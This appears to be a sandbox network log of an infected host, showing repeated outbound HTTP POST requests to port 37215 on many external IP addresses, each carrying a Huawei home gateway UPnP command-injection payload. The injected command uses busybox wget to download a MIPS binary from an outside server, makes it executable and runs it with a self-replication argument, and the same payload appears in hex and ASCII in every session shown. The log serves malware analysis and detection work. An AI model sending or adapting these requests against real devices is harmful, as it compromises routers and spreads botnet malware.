Jul 20, 2024 23:00:59.021446943 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	58760	52.138.177.196	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021490097 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	41822	157.181.146.64	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021509886 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	43748	183.18.158.37	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021511078 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	53236	2.69.54.160	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021579981 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	60186	41.237.188.97	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021579981 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	58158	157.138.203.32	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021586895 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	34700	197.209.60.212	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021620989 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	39592	157.156.49.184	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021657944 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	60170	197.17.13.19	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021675110 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	48244	157.45.88.204	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.021740913 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 